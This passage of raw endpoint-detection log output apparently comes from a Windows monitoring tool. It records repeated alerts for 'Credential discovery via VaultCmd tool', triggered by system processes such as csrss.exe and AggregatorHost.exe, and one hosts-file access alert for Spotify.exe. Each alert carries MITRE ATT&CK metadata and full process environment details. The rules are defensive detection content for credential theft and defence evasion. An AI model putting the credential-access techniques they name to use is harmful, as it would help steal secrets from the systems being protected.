Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:41:01+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4096375 + Pid: 944 + Tid: 1584 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:40:53.8963025 +0100 CET + Params: file_key➜ ffff808cc87f9230, offset➜ 0, pid➜ 944, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 21bf7f70000, view_size➜ 65536 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 944 + Ppid: 936 + Name: csrss.exe + Parent name: svchost.exe + Cmdline: %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 + Parent cmdline: + Exe: C:\WINDOWS\system32\csrss.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:41:04+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4085028 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:40:48.7667081 +0100 CET + Params: file_key➜ ffff808ce2edd670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 344064 + Metadata: tactic.id: TA0006, subtechnique.name: Windows Credential Manager, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:41:04+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4087412 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:40:49.7035596 +0100 CET + Params: file_key➜ ffff808ce2edd670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.id: T1555, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:46:35+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4724109 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:29.880665 +0100 CET + Params: file_key➜ ffff808cd78ea890, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 344064 + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:46:35+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4725111 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:46:30.1943421 +0100 CET + Params: file_key➜ ffff808cd79ed890, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 356352 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.id: TA0006, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:46:36+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe accessed the hosts file for potential tampering + Event(s): + Seq: 4712322 + Pid: 8756 + Tid: 18096 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-03 23:46:28.9479778 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" , directory_table_base➜ 3ac854000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10669fe4080, name➜ Spotify.exe, pid➜ 18276, ppid➜ 8756, real_ppid➜ 8756, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-03 23:46:28.947923 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 13196673013187084288, rule.name: Suspicious access to the hosts file, technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001 + + Pid: 8756 + Ppid: 8692 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4735839 + Pid: 18276 + Tid: 9672 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-03 23:46:31.6055106 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffe10678565160, file_path➜ C:\WINDOWS\system32\drivers\etc\hosts, irp➜ ffffe10671e33988, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9672, type➜ Directory + Metadata: technique.name: Impair Defenses - Disable or Modify Tools, technique.ref: https://attack.mitre.org/techniques/T1562/001/, rule.seq.link: 13196673013187084288, rule.name: Suspicious access to the hosts file, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001 + + Pid: 18276 + Ppid: 8756 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18276_JYETTDXMCJKHTGWW COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program 